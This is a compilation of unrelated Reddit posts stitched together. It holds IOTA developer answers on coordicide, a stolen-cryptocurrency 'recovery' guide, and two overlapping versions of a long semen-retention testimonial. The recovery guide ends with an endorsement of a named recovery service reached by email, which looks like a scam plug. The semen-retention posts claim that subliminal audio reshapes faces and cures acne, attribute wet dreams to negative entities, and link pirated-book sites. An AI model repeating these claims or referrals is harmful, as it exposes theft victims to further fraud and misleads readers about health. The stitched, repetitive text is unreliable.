    In coordicide, i.e. Iota 2.0, yes all nodes have to process all transactions and must receive all data. Our next major project is sharding, i.e. Iota 3.0 which will remove this requirement, and increase scalability.
    FPC begins to be vulnerable to attack if the attacker has 30%-40% of the active consensus mana.

    HusQy_IOTA
    There is no doubt about coordicide working as envisioned.

    HusQy_IOTA
    When will companies fully implement iota tech?
    Soon(TM) :P

    Billy-IF
    Well first, we are going to make sure that we dont need a plan B :) Second, our plans for the actual deployment are still under discussion. Lastly, we will make sure there is some sort of fail safe, e.g. turning the coordinator back on, or something like that.

    Billy-IF
    All the key research questions in coordicide have been answered, and each module is designed.

    Billy-IF
    What will be standardized is the behavior of the modules, particularly their interactions with other nodes and wallets. Implementation details will not be standardized. The standardization will allow anyone to build a node that can run on the IOTA 2.0 network.

    DavidSonstebo
    Tangle EE has its own Slack (private) and calls, so the lack of activity can probably be explained in that fashion. Coordicide will have an impact on all of IOTA :) There's certainly a lot of entities awaiting it, but most will start building already with Chrysalis v2, since it solves most pain points.

    Billy-IF
    If there are no conflicts, a message will be confirmed if it receives some approvals. We estimate that this should happen within 10-20 seconds.
    To resolve a conflict, FPC will typically take another 4 minutes, according to our simulator. Since conflicts will not affect honest users, most transactions will have very short confirmation times.

    Billy-IF
    a colored coin supply cannot exceed that of all Iota. You could effectively mint a colored coin supply using a smart contract, although there would be performance downsides. There are no plans to increase the supply. The convergence to binary will not affect the supply nor anyone's balances.

    HusQy_IOTA
    Both, Radix and Avalanche have some similarities to IOTA:
    - Avalanche has a similar voting scheme and also uses a DAG
    - Radix uses a sharding approach that is similar to IOTAs "fluid sharding"
    I don't really consider them to compete with our vision since both projects still rely on fees to make the network work.
    Centralized solution can however never be feeless and being feeless is not just a "nice feature" but absolutely crucial for DLT to succeed in the real world.
    Having fees makes things a lot easier and Coordicide would already be "done" if we could just use fees but I really believe that it is worth "going the extra mile" and build a system that is able to be better than existing tech.
    submitted by btlkhs to Iota [link] [comments]

    Recover Stolen Bitcoin and Cryptocurrency

    Recover Stolen Bitcoin and Cryptocurrency

    Recover Stolen Bitcoin and Cryptocurrency
    Cryptocurrencies are a high priority target for cybercriminals. Whether targeting your wallet directly or hacking the exchanges once cybercriminals have access to your currency you need to act fast! You can also recover money lost to binary options.
    Lost Bitcoin? Stolen Cryptocurrency? Hacked virtual currency account - Follow these steps now!
    1. Report to appropriate authorities - Report the case to the appropriate authorities, for them to be able to have it looked into.
    2. Change your login details - If you are still able to login to your account then follow the normal procedure to reset your password and other security information. Enable two-factor authentication. This should lock the criminal out of the account.
    3. Notify the exchange/provider - If you have purchased or are storing your currency with a service provider then let them know about the breach and the fraudulent transactions. They may be able to retain some information about the transaction that could come in useful in an investigation.
    Will I Recover my Stolen Bitcoin?
    Once your virtual currency has been stolen it is incredibly unlikely that you will be able to recover it. In theory, it’s possible to track your stolen bitcoin by monitoring the blockchain – in practice, however, this is made difficult by both the anonymous nature of the currency and the fact that the thief will most likely use a bitcoin exchange to trade the currency for normal cash straight away. However, money does leave a trail and you may be able to follow it to the identity of the criminal.
    How to Recover Stolen Bitcoin and Cryptocurrency
    1. Check your devices for malware - It is worth considering that a malicious software infection may have led to the hacker accessing your currency. Scan the devices you use to handle your currency and make sure they are clean. You can follow our guide on checking for and removing malware here.
    2. Call your bank - If the transaction had related costs that hit your bank accounts - such as transaction fees or deposits - then contact your bank immediately and let them know it is an unauthorized/fraudulent transaction.
    3. Follow the money - You can follow the transactions of the wallet address that your funds were scammed into. If you notice the scammer attempt to transfer funds from the wallet to cryptocurrency exchanges to sell for fiat currency, report to the relevant exchanges immediately. An opportunity to catch the scammer is to follow the money trail through blockchain explorers and trace your lost funds. You can use browser-based blockchain exploring software such as https://blockexplorer.com to ‘follow’ the payment through to an end bitcoin address. Once you have this address you can check whether the owners of the end address(es) appear on http://bitcoinwhoswho.com/. In order to trade crypto to regular money on most popular exchanges, the thief would need to submit KYC (Know Your Customer) information, such as names, addresses, and ID information. Contacting the exchanges can potentially help you to track down the scammer’s identity. This is another reason why it is important for you to file a police report as soon as the incident has taken place.
    4. Hire a Verified Recovery Expert - If you are willing to pay a decent amount for the return of your funds there are websites where you can post a bounty. Experienced blockchain searchers will investigate the theft and see if they can recover the funds for a price. Check out the list of verified recovery experts.
    How to Avoid your Cryptocurrency Being Stolen in Future
    • Don’t talk publicly about owning virtual currency - If it is easy to work out that you own a cryptocurrency from your social media activity then you are much more likely to be a target.
    • Use multi-factor authentication - Ensure that you have multi-factor authentication enabled. Use an authenticator app rather than the SMS option. If the option to disable SMS authentication exists then do it.
    • Use a new email address and complex password to set up the account - A new, clean email address that you will only use for the virtual currency account is best. This reduces the chance of you being targeted via your email account.
    • Use a ‘cold-wallet’ - Keep your cryptocurrency off the internet, in a "cold wallet." "Cold wallet" is not a brand, it's a concept of storing bitcoins offline (not connected to the internet) so that it reduces the opportunities for hackers to steal via online techniques.
    • Spread your investments across exchanges - A number of exchanges have been breached. Spread your investments across exchanges to minimize the impact.
    • Get secure - Take time to improve your general online security. Use sites like getting Safe Online and Cyber Aware to understand what good security looks like and make changes. I was personally able to recover my lost bitcoin with the help of Express Recovery Pro – [email protected]
    submitted by Babyelijah to u/Babyelijah [link] [comments]

    Practicing SR since July 2017; currently have a 3+ month streak

    2 accounts got shadowbanned for uploading this post. Spam filter kept on removing it this post. Messaged the moderators, but received no answer. Removed many links, so check post history for full version.

    First time making a Reddit post. Estimated Reading Time: 15 minutes
    Brief summary of post:
    1. History of Journey
    2. Using Subliminals (affirmations converted into audio) to reprogram the subconscious, overcome nocturnal emissions, and turbo-charge the Law of Attraction
    3. Experience from meditation retreats
    4. Massive booklist covering psychotherapy, spirituality, and general books such as negotiating and advanced social skills
    5. Fundamental shifts that occurred
    6. Experiences with semen-retention benefits
    7. How I overcame and conquered negative entities
    8. Tantric meditation method that actually works with zero side effects
    9. Experience on speaking Japanese for 1 full hour with native speakers without notes after 3 months of learning

    Terminology:
    Wet dream/WD – sexual dream causing semen emission while sleeping
    Nocturnal Emission/NE – semen emission occurring while sleeping even without dreaming
    Semen-retention/SR streak – avoiding porn, masturbation, and ejaculation whether conscious or unconscious
    Nofap Hardmode – avoiding porn, masturbation, and conscious ejaculation. Unconscious ejaculation/WD is considered fine.

    As the title suggests, my current streak started in the middle of June 2017. Haven’t watched any porn or masturbated in 3 years. Experienced almost all the benefits such as massive attraction (men, women, children), an aura/energy surrounding me, enhanced charisma, less need for sleep, insane levels of energy, drive, and motivation, zero anxiety or fear, massive confidence occasionally bordering on arrogance, increased manifestation/LOA, people admiring/respecting me for no reason, online attraction, less procrastination, better athletic performance, greater creativity/intelligence, the desire to live a purposeful life, greater emphasis on spirituality, and much much more. Could probably write several posts just on the benefits themselves. Only thing that didn’t improve was my skin, which was later fixed using subliminals.
    It’s been a long journey, so I’ll start with background information, and later elaborate on how I managed to go from nocturnal emissions every 5 days (avg) to having a perfect SR streak for 3 months.
    Used to watch anime which led to hentai (2013), and eventually western/japanese porn. Don’t even bother to search these terms on Google. It’s not worth it. Thankfully, those days are long behind me. As a side-note, I discovered the nofap/semen-retention subreddit in November 2017. Didn’t even know about SR before that.
    I was raised a Catholic in a fairly religious family. Always started various streaks, and eventually broke them due to boredom/emotional coping/curiosity about new videos. Thankfully, I got good grades, read books, and was interested in self-development, but all that time spent on porn was a complete waste. Assuming I spent at least 2 hours everyday for 4 years (1460 days), it amounts to 122 complete days or around 4 months in total. It’s pretty sad on reflection, but at least the experience is now absorbed, and I can write this post.
    On June 2017, after summer break started and final exams were over, I decided to permanently quit this habit. Downloaded an application called Cold Turkey and completely blocked all websites I used to visit. Now use Leechblock, which is available on most browsers (also use it to block/restrict access to non-NSFW websites which impair productivity like ESPN). Started 30 minutes of daily meditation (mindfulness + metta). Still continue the habits to this day, although the length is increased to 1 hour. Read Mindfulness in Plain English by Bhante Gunaratana and Lovingkindness by Sharon Salzberg for instructions. Have re-read these books multiple times.
    Mindfulness will allow you to be self-aware of your mental conditioning, while metta (feeling compassion for yourself, a friend, neutral person, and enemy) can remove thoughts of lust and fundamentally alter your mental programming. Compassion is a very powerful exercise. Read “The Mindful Path to Self-Compassion by Christopher Germer” while you’re at it and learn tonglen. All of these books contain zero fluff, and are invaluable reads.
    Started drinking 16 glasses of water (thought it would help skin, but helped in other ways), and doing 100 pushups + 100 sit-ups everyday. Increased it to 200 pushups + 200 sit-ups after 1 month. After 2 months, I made a decent amount of gains (SR helps), and people started asking me workout tips and what gym I go to. Had a Kindle Paperwhite, which is frankly one of my most valued possessions. Still works perfectly fine after 5 years, and costs only $130. Buy one now. Read a lot of books mostly consisting of biographies/spirituality/practical social skills/800+ page novels for around 6 hours per day. Still try to read for at least 15 minutes/1 chapter even when extremely busy. Will post a small booklist at the end of this post.
    You can upload books to it for free if you lack money. Visit (gen.lib.rus.ec), download the ebook in epub/mobi format, open it with Calibre (https://calibre-ebook.com/), and send it to Kindle using USB. Knowledge is an investment that produces continuous returns. Warren Buffett spends 80% of his time just reading! and takes action based on that knowledge.
    Even managed to have the motivation to learn Japanese by joining a foreign language exchange website. People, especially women, accepted and sent a lot of invitations to have a conversation; didn’t realize online attraction was due to SR back then. None of us showed our faces, so my physical appearance had nothing to do with it. From experience, the best way to learn a language was to make a phrase sheet with the most common phrases/questions, such as “okay”, “that’s awesome”, “what is that word in English/Japanese?” Basically a human AI bot. Don’t waste time trying to learn how to write the alphabet, although my primary purpose was to learn how to speak. Google Translate is good enough to understand the pronunciation.
    I learned Japanese primarily by watching Terrace House. First watched the episode with subtitles, then re-watched it without, while simultaneously writing all the connectives/conversational phrases. You can try unique methods to remember, but brute-force memorization/review worked the best. Never tried Anki since it was cumbersome to use.
    For the accent, the best way is to watch Japanese people trying to speak English, and try to mirror their accent as much as possible. It honestly helps. After 3 months, I could have a full 1 hour conversation in Japanese with a native speaker without looking at any notes. I wasn’t “fluent” (still stuttered and made mistakes), but it was a huge amount of progress for starting from scratch. Eventually after 6 months, I gave up practicing/speaking the language. I was mainly trying to fulfill a childhood fantasy, and I’m glad I tried since I learned a lot from it and got to talk with interesting people. But in reality, I stopped watching anime, and honestly never needed to speak Japanese in real-life. Now I barely remember any of the words, except a few basic phrases. Could probably last 30 seconds of full conversation at best.
    So, everything was going great until December 2017. During this time period, I probably had wet dreams/nocturnal emissions every 1 – 2 months. Barely felt much difference since there was a decent time interval between emissions. Drank 2 glasses of water everyday before bed, slept on my stomach, and ate spicy food (practices that cause nocturnal emissions), but was perfectly fine. However in December I started having emissions every 2 weeks. Initially didn’t care about it. In January it started happening every 1 week. Nothing really changed in my life during this time to cause emissions to increase. Then it started happening every 5 days, every 3 days, sometimes even 2 days in a row!
    Most of you will have no idea how terrible it feels to be on top of the world, and then suddenly crash down. The difference between living life with/without SR benefits is night and day. Even after sleeping 10 hours, I used to feel completely exhausted. People ignored me, or worse started “joking” around me. Complete disrespect by friends, family, and acquaintances. No energy/motivation to do anything. Constant brain fog, could barely concentrate. Felt even worse than my porn days when I ejaculated everyday. Voice completely shot, started feeling anxious about oral presentations for no reason, when I always excelled. Felt like my soul was dying. Those were really dark times. People started saying I “changed”, and started pointing out and constantly magnifying my flaws. It’s strange how people exaggerate our skills/talents on SR, while they completely ignore them post WD/ejaculation, and focus only on your flaws/mistakes. It makes you lose trust in everyone around you, as if all of them are energy vampires who only like you due to SR.
    I grew desperate. During this whole time I meditated, practiced no lust/no arousal as best as possible since July 2017, yet emissions increased massively in frequency. Some occurred due to sexual dreams, but most were nocturnal emissions. Thought I had a UTI at first, and went to a general practitioner. He didn’t seem very reliable, so I went to a prominent urologist. Did all sorts of tests, paid a good amount of money, and the doctor said everything was fine. Having nocturnal emissions every 5 days was perfectly normal at my age. Encouraged me to masturbate regularly if it became an inconvenience :)
    So medical science obviously failed. Started following all the tips/methods in this subreddit, and believe me I tried almost everything no matter how uncomfortable or time-consuming. Omad, avoid food/water before bed, vegetarianism, tantric meditation, different diets, various sleeping positions, no/increased meditation before bed, no/more exercise, yogic exercises, qigong, some tips mentioned by Soaring Eagle, prayed to God. None of them worked. The only method I didn’t try extensively were kegels. Initially tried a normal + reverse kegel routine, then found an article by coincidence on this subreddit about someone who permanently damaged their penis from doing kegels. Immediately stopped, thank you to that person for sharing your experience. It’s as if the universe was looking out for me. Best to avoid such risky methods even if you’re desperate. Currently sleep on my back since it avoids any "accidental physical stimulation" from occurring.
    So this nocturnal emission phenomena continued for over a year. Some methods worked better than others, while for some, I wasn’t sure if it was merely the placebo effect. In mid-2019 I came across subliminal videos (finally the good part!) on YouTube. (https://www.youtube.com/watch?v=P0W5AB1sGr0) This video explains it more thoroughly, but basically you convert affirmations (sentences like “I am happy/smart/handsome”) into audio using text-to-speech software and reprogram your subconscious mind. Tried a beauty subliminal (https://www.youtube.com/watch?v=xEXaAsm-Iys) as a joke, but the next day I noticed changes in my facial structure. Listened for an hour the first day, which was easy given the music. You have no idea how amazing it feels to know that you can control your reality just by using your mind. Completely magical. Supposedly it works due to the Law of Attraction; you can find out more by reading/watching “The Secret” by Rhonda Byrne, and later reading all the books by Neville Goddard. Started using a skin subliminal as well (https://www.youtube.com/watch?v=iqi8Q80pspk and later moved onto https://www.youtube.com/watch?v=COxz8hvl14Y ), and now my skin is completely normal. Visited prominent US dermatologists, tried all sorts of acne medicine including Accutane, and even did SR, yet none of them worked. Skin was pretty terrible, and I was glad it got fixed. Took around 4 months of daily listening although it can be shortelonger depending on your belief, blockages, and levels of positivity. There’s a CIA document on holographic universes, astral projection, time travel, and psychic powers if you need scientific validation: https://www.cia.gov/library/readingroom/docs/CIA-RDP96-00788R001700210016-5.pdf
    Disclaimer: Although there can be bad subliminal makers, they are very rare, and there has been only 2 of them in the history of the community. Someone named MindPower and Rose subliminals. The vast majority (99%) put positive affirmations. It’s best that you verify by checking all the comments, seeing their subscriber count, general personality, etc, but ultimately there’s no guarantee. The only way to make sure the affirmations are 100% positive and safe are to make them yourself or use a subliminal that blocks negative affirmations.
    One thing to note is that physical change (biokinesis; search that term)/spiritual subliminals utilize the prana in your body to a certain extent to make changes. It makes sense since physical change is essentially a psychic poweenergy work. So your SR benefits/aura might temporarily decrease. Hydration is also recommended, and you will notice feeling thirsty. Personally drink 20 glasses of water everyday.
    Obviously, my interest now turned towards using subliminals to cure nocturnal emissions. Unfortunately there’s a huge lack of subliminals regarding semen-retention or those targeted towards nocturnal emissions. Initially bought a subliminal using a paid request (you pay a subliminal maker for a specialized subliminal), but it didn’t work that well. Desired to be permanently free of nocturnal emissions, or at least reduce the frequency to once a month. So I decided to make my own subliminal. The affirmations will be posted below, and this is how I eventually cured my nocturnal emissions.
    Steps on how to make your own subliminal:
    1. Write all the affirmations in a word document and save it.
    2. Download text-to-speech software like Balabolka and output the audio file in wav format (you want both uncompressed + lossless)
    3. Optional but recommended; download an audio editor like Audacity, and fast-forward the audio as much as possible using the “Change Tempo” effect. Personally I speed the audio to one second and then loop it 1000x. Continue the process as much as possible, but never make the audio length less than 1 second. Some subliminal makers make their subliminals even more powerful by creating multiple audio streams of their affirmations using different voices, merging all the voices together, and speeding them up. It’s called layering. Why super-sped affirmations work better can be somewhat explained by this article (https://www.psychologytoday.com/us/blog/sensorium/201812/experiments-suggest-humans-can-directly-observe-the-quantum), but science still doesn’t have all the answers. Will take time.
    4. Converting the affirmations to binary code (https://www.rapidtables.com/convert/numbeascii-to-binary.html) is a technique some subliminal makers use. Supposedly it penetrates the subconscious faster.
    Affirmations Link: https://www.reddit.com/pureretention/comments/hg0tjb/practicing_sr_since_july_2017_finally_conquered/ (same content; scroll down to the subliminal section and download the affirmations file from the mega link)
    Listened to this personal subliminal for 1 hour everyday for an entire month. Still listen just to be safe. Took months of testing and editing affirmations to make it perfect. Experienced massive sexual dreams on certain days, more than normal, and found out that entities could be responsible. Try to avoid this subreddit as well, since reading the posts can trigger memories. More energetically sensitive now, and sometimes there’s a lot of low-vibrational energy. On a side-note, porn cripples your aura and invites negative entities (https://www.awakeningstaryoga.com/blog/expanding-away-from-porn-aura).
    Non-subliminal solutions:
    1. https://www.youtube.com/watch?v=lMx69hgYq0s (morphic field)
    2. https://www.youtube.com/watch?v=EWK0D1g069I (powerful aura cleanse; Tibetan bowl sounds)
    3. https://www.youtube.com/watch?v=7moRsibNyMA (reiki)
    Subliminal solutions (ordered in terms of effectiveness):
    1. https://www.youtube.com/watch?v=8Kt9s5tY1YE
    2. https://www.youtube.com/watch?v=XvyPscRD1ss
    3. https://www.youtube.com/watch?v=NTmnrFzR0_Q (for spells, curses, black magic, etc)
    4. https://www.youtube.com/watch?v=8Kt9s5tY1YE (last resort)
    The entire channel is a gem; these were some of the best. Have used them for a few months and feel much lighter and peaceful; experienced only headaches due to subconscious absorbing the affirmations, but zero negative effects.
    Advice: Remember to immediately download any subliminal video you find that is useful in wav format (https://www.savethevideo.com/download). Subliminal channels are sometimes deleted by YouTube (spam filter) or the creators themselves.
    Waited 3 whole months before deciding to make a Reddit post to make sure the method was 100% foolproof. Remember many people offering solutions in the past, yet 1 month later they would have another wd/nocturnal emission.
    The first month there was a lot of fear. Will I have a wet dream/nocturnal emission tonight? Was so traumatized it was difficult getting to sleep every night. After the 2nd month, I experimented with sleeping on my stomach and eating/drinking before bed. Nothing happened. Stopped recently to stay careful.
    After 2 years of suffering, this is a method that has worked. Try and see for yourself.
    Present day:
    How do you feel now? Some days it’s meh (due to flatline) like today; on other days I feel divine. No idea why flatline still occurs. Have regained all the benefits, feel love and happiness all the time. Experience intense states of bliss in meditation more frequently, although it’s just a distraction.
    Religiously/Spiritually I’ve moved from Christianity to Buddhism/Advaita Vedanta/parts of New Age. Found them more practical and useful in life. Was inspired to aim for spiritual enlightenment after reading “The 3 pillars of Zen” by Philip Kapleau. Read it, it might change your life.
    Have attended a number of meditation retreats now, along with 10-day ones. Everyone reading this post should try it. Understood how much our mental programming defined us, and that we aren’t are thoughts. Our childhood traumas define so much of our habitual reactions. Realized its okay to feel bored rather than chasing after constant stimulation.
    Even attended a Jhana retreat, which is exclusive for people who have attended prior retreats. Entered intense states of meditative absorption, understood the permeability/impermanence of reality, and had all sorts of mystical experiences. Experienced past lives; can confirm my mind did not make it up, since it’s an experience you can constantly replicate using the same methods. Before attempting such methods, you need to have the ability to sit down and meditate continuously for at least 3 hours. If you live in the US, attend IMS (Insight Meditation Society) or any prominent Vipassana/Theravada related retreat. Zen is a valid form of enlightenment, but it personally felt unstructured.
    Gave up music, took time since I was convinced it was needed for creativity. Instead, it was just a substitute source of dopamine and a way to avoid my emotions. Have much less brain fog after quitting. Only communicate using regular phone calls these days, which no one uses, and Snapchat/WhatsApp for texting. Avoid stories, waste of time. Instagram/TwitteFacebook are a waste of time unless you are using it for business purposes. The only social media you really need is LinkedIn.
    Women: You’ll learn more about them by reading romantic novels, Korean mangas, and watching Kdramas then reading all that seduction/red pill stuff. Focus on general charisma (men and women) instead of a specific gender. Read “The Charisma Myth” by Olivia Fox Cabane; it’s the most practical book on social skills I have ever read, and possibly the most life-changing as well. Teaches you self-awareness, applies Buddhist psychology to social interaction. Used to train executives in Google, read it now (and do all the exercises). The bibliography sent me on a rabbit hole that made me read ton of books on psychotherapy, meditation, mindfulness, and Buddhism; this was before SR. Inspired me to practice meditation, although the habit only became regular after SR.
    Read books such as Crucial Conversations by Al Switzer, Difficult Conversations by Douglas Stone, How to Talk so Kids will Listen by Adele Faber (works very well in general since even adults have childhood programming, and can act like children), Never Split the Difference by Chris Voss (FBI's chief international hostage and kidnapping negotiator from 2003 to 2007), Getting More by Stuart Diamond (trains negotiators at Google), and Pitch Anything by Oren Klaff (more theoretical but useful). Also read The Definitive Book of Body Language by Allan Pease and What Every Body is Saying by Joe Navarro. These are all books that will greatly improve your human interactions and contain limited fluff. Have re-read all of these books in difficult times, and they have never let me down. You should read it as well. Even if you become a monk, there’s lots of social infighting even in monasteries. Highly-developed social skills are invaluable whenever you are dealing with individuals. Read “How to make friends and influence people” by Dale Carnegie once in a while, since most forget to apply his “basic” advice. Learned a lot about oral presentations by watching Alan Shore on Boston Legal (TV show).
    Current position in life? Studying for a bachelor’s degree. My family is financially well-off, and my father is paying for my college tuition and dorm. Scholarships aren’t available for all income levels. Although I come from “privilege”, the above information can help anyone regardless of their financial position. We live in an era where information is accessible to all social classes, so excuses aren’t that relevant. If you’re practicing SR, you are already 20 steps closer to success. The tips above can be applied for free as long as you have a computesmartphone. Read books starting from today, knowledge is a source of power. People spend so much time reading the news, scrolling social media feeds, reacting to comments, chatting about useless things with friends, binging shows on Netflix, browsing YouTube/Reddit, that time quietly passes by. Time is the most valuable commodity you have; don’t waste such a limited resource on things that will contribute nothing towards your purpose in life. Once it’s spent, you can never get it back.
    Personally, I schedule the next day before going to bed. Leisure, Reading, Schoolwork, Meditation, everything is mapped out perfectly. Try to eliminate habits that just waste time and stick to your schedule perfectly (working on it myself). If you feel tired after work/studying, take a nap or meditate instead of receiving even more stimulation from videogames, YouTube, or other artificial dopamine sources. Try NoSurf.

    Basic Booklist:

    Spirituality:
    1. The End of Your World by Adyashanti (fantastic writer; must-read if you have had an awakening experience or believe you are "enlightened")
    2. How to Attain Enlightenment -> The Essence of Enlightenment by James Swartz (best introduction to Advaita Vedanta I have read so far)
    3. I am That by Sri Nisargadatta Maharaj
    4. In the Buddha's Words by Bhikkhu Bodhi (best introduction to Buddhist scripture)
    5. Why Buddhism is True by Robert Wright (secular perspective but informative; his previous book The Moral Animal is a good introduction to evolutionary psychology. Read this first if you are non-spiritual)
    6. Wisdom Wise and Deep by Shaila Catherine (comprehensive introduction by one of the best Jhana teachers in the US)
    7. Manual of Insight by Mahasi Sayadaw
    8. Emptiness: A Practical Guide by Guy Armstrong (good introduction to the Buddhist version of reality)
    9. Books by Loch Kelly (practical guide to non-dual meditation practices within Buddhism; The Little Book of Being by Diana Winston may be a better introduction)
    10. Seeing that Frees by Rob Burbea (really advanced but profound)
    11. http://awakeningtoreality.blogspot.com/2007/03/thusnesss-six-stages-of-experience.html (Buddhism > Advaita)
    12. Books by Robert Bruce such as Psychic Self-Defence and Energy Work
    13. Psychic Witch by Mat Auryn
    14. Dream Yoga by Andrew Holecek (amazing/practical book on lucid dreaming -> dream yoga)
    15. Autobiography of a Yogi
    16. The Practice of Brahmacharya by Swami Sivananda and Soaring Eagle (https://forum.nofap.com/index.php?threads/6-years-clean-rebooting-as-the-best-remedy.135983/) if you haven’t read already
    17. Xunzi trans. by Eric Hutton (final evolution of Confucianism)
    Novels (use translators mentioned):
    http://gen.lib.rus.ec/fiction/? for foreign literature

    1. Musashi by Eiji Yoshikawa (Taiko is decent as well, but this one was a masterpiece)
    2. Romance of the Three Kingdoms trans. Moss Roberts
    3. The Dream of the Red Chamber trans. David Hawkes (read it in the summer of 2017, profound but not all may see the deeper meaning)
    4. The Nine Cloud Dream trans. Heinz Insu Fenkl
    5. Atlas Shrugged by Ayn Rand (Inspirational for Entrepreneurs, however don’t start adopting this book as economic philosophy. It’s just a novel!)
    6. The Alchemist by Paulo Coelho (read now if you are experiencing an existential crisis)
    7. Dostoevsky’s Crime and Punishment + The Brothers Karamazov (optional reading; prefer Pevear translation)
    8. Perry Mason and Sherlock Holmes Series (pleasure reading but not useless)
    Psychotherapy (never visited a therapist, but found these useful):
    1. Getting Past Your Past by Francine Shapiro (by the founder of EMDR, best practical book on trauma and exercises to resolve it)
    2. Complex PTSD: From Surviving to Thriving (another immensely practical book on recovering from trauma)
    3. Breaking the Cycle by George Collins (best practical workbook on sexual addiction I have read; all should read)
    4. Get out of your mind and into your life by Steven Hayes (Was mentioned in the charisma myth booklist; take control of your thoughts and mind by the founder of ACT)
    5. Mindful Compassion by Paul Gilbert and Choden (prominent researcher on compassion applied to therapy; part one can be boring, but part two on practical exercises is invaluable)
    6. Feeling Book by David Burns (rightfully a classic book on therapy and CBT; read if you are suffering from depression)
    7. Healing Development Trauma by Laurence Heller (best book on the impact of childhood/development trauma but meant for therapists, might explain why we use addiction to cope from childhood memories; google ACE study as well)
    8. The Boy who was raised as a Dog by Bruce Perry (stories about children experiencing trauma. Increases empathy for yourself and others; you realize how childhood trauma affects how a lot of people think and behave)
    9. Whole Again: Healing Your Heart and Rediscovering Your True Self After Toxic Relationships and Emotional Abuse by Jackson MacKenzie (fantastic book on recovering from relationship abuse. Many of us have emotional baggage that fuels coping and addiction loops. Read Healing from Hidden Abuse by Shannon Thomas as well.)
    10. Self-Compassion by Kristen Neff (optional reading, but complimentary)
    For biographies, read those of presidents and important leaders. Also about famous/successful individuals. Read all of Ron Chernow’s books. Abuse the Amazon Search Engine and look through their categories. Reading biographies can fundamentally enhance your worldview so you realize that real-life issues are much more nuanced and gray rather than black and white. Also shows how successful people deal with difficult crises and their perspective on life. Especially for public policy. If a President implements an economic policy that has short-term gains, but long-term loss, he has a greater chance of being re-elected. However, short-term loss in favor of long-term gain is the correct policy. Employ critical-thinking! Avoid cable news even if you need to stay informed. Don’t even have a television in my house. Unnecessary. Just read 2 – 3 reputable news sources for 20 minutes max. Sometimes I even avoid the news since there’s too much negativity.
    https://www.reddit.com/kundalini/comments/1unyph/a_tantric_perspective_on_the_use_of_sexual_energy/ (tantric meditation technique that actually works; you are supposed to do it for 1 hour. Optional.)
    https://www.reddit.com/kundalini/comments/2zn8ev/grounding_201_two_effective_quick_methods/ (energetic protection + grounding method after doing the tantric meditation)
    Avoid learning Mantak Chia’s techniques from a book, since some have suffered side-effects to their energetic/biological body. For NEO, Tibetan buddhists practice meditation for 13 years before attempting it (https://en.wikipedia.org/wiki/Karmamudr%C4%81). Not easy. Not sure about women, since SR streak is more important. Don’t pick a partner to fulfill some kind of emotional void, or due to societal programming where women are held to be the ultimate goal. Spiritual Enlightenment is the ultimate goal now, but even enlightened people need money for food and shelter.
    Youtubers I follow are Graham Stephan, Ryan Serhant, Rupert Spira, and https://www.youtube.com/channel/UCUX1V5UNWP1RUkhLewe77ZQ (cured women objectification for me; wholesome content) although mostly I avoid the website. Easy to loose track of time.
    Avoid smoking, alcohol, recreational drug use (https://www.elitedaily.com/wellness/drugs-alcohol-aura-damage/1743959), casual sex (https://mywakingpath.wordpress.com/tag/aura/; sensitive images but useful), and fast food. Budget your money, and learn how to save as much as possible.
    Hope everyone reading this post experiences their definition of success and leads a purposeful life. Will end it by stating two quotes that have inspired and guided me:
    “You yourself have to change first, or nothing will change for you!”
    ― Hideaki Sorachi
    “It is not important to be better than someone else, but to be better than you were yesterday.”
    ― Jigoro Kano (Founder of Judo)
    Update 1, 2, 3: Added a post summary and the audio as well in the affirmations link
    Update 4: https://starseedsunited.com/negative-entities-and-psychic-attacks (basic article on entities)
    Some solutions are posted above. Updated* daily routine:
    1. https://www.reddit.com/kundalini/comments/1xyp5k/a_simple_and_universal_white_light_protection/ (basic psychic self-defence)
    2. https://www.youtube.com/watch?v=8Kt9s5tY1YE (at least once everyday; cures sexual dreams and flushes all entities)
    3. https://www.youtube.com/watch?v=yLeubTQv65Q (best shielding subliminal so far; general protection. Listen at least once everyday)
    Note: Will continuously update this post based on further clarification. Close to 40,000 character word limit.
    submitted by RisingSun7799 to Semenretention [link] [comments]

    Practicing SR since July 2017; finally conquered Nocturnal Emissions for 3 Whole Months using Subliminals

    2 accounts got shadowbanned for uploading this post. Spam filter kept on removing it on Semenretention. Messaged the moderators for help, but they didn't care. Takes less than 3 minutes to approve a post from the spam folder. No idea if they read this post.

    First time making a Reddit post.
    Terminology:
    Wet dream/WD – sexual dream causing semen emission while sleeping
    Nocturnal Emission/NE – semen emission occurring while sleeping even without dreaming
    Semen-retention/SR streak – avoiding porn, masturbation, and ejaculation whether conscious or unconscious
    Nofap Hardmode – avoiding porn, masturbation, and conscious ejaculation. Unconscious ejaculation/WD is considered fine.

    As the title suggests, my current streak started in the middle of June 2017. Haven’t watched any porn or masturbated in 3 years. Experienced almost all the benefits such as massive attraction (men, women, children), an aura/energy surrounding me, enhanced charisma, less need for sleep, insane levels of energy, drive, and motivation, zero anxiety or fear, massive confidence occasionally bordering on arrogance, increased manifestation/LOA, people admiring/respecting me for no reason, online attraction, less procrastination, better athletic performance, greater creativity/intelligence, the desire to live a purposeful life, greater emphasis on spirituality, and much much more. Could probably write several posts just on the benefits themselves. Only thing that didn’t improve was my skin, which was later fixed using subliminals.
    It’s been a long journey, so I’ll start with background information, and later elaborate on how I managed to go from nocturnal emissions every 5 days (avg) to having a perfect SR streak for 3 months.
    Used to watch anime which led to hentai (2013), and eventually western/japanese porn. Don’t even bother to search these terms on Google. It’s not worth it. Thankfully, those days are long behind me. As a side-note, I discovered the nofap/semen-retention subreddit in November 2017. Didn’t even know about SR before that.
    I was raised a Catholic in a fairly religious family. Always started various streaks, and eventually broke them due to boredom/emotional coping/curiosity about new videos. Thankfully, I got good grades, read books, and was interested in self-development, but all that time spent on porn was a complete waste. Assuming I spent at least 2 hours everyday for 4 years (1460 days), it amounts to 122 complete days or around 4 months in total. It’s pretty sad on reflection, but at least the experience is now absorbed, and I can write this post.
    On June 2017, after summer break started and final exams were over, I decided to permanently quit this habit. Downloaded an application called Cold Turkey and completely blocked all websites I used to visit. Now use Leechblock, which is available on most browsers (also use it to block/restrict access to non-NSFW websites which impair productivity like ESPN). Started 30 minutes of daily meditation (mindfulness + metta). Still continue the habits to this day, although the length is increased to 1 hour. Read Mindfulness in Plain English by Bhante Gunaratana and Lovingkindness by Sharon Salzberg for instructions. Have re-read these books multiple times.
    Mindfulness will allow you to be self-aware of your mental conditioning, while metta (feeling compassion for yourself, a friend, neutral person, and enemy) can remove thoughts of lust and fundamentally alter your mental programming. Compassion is a very powerful exercise. Read “The Mindful Path to Self-Compassion by Christopher Germer” while you’re at it and learn tonglen. All of these books contain zero fluff, and are invaluable reads.
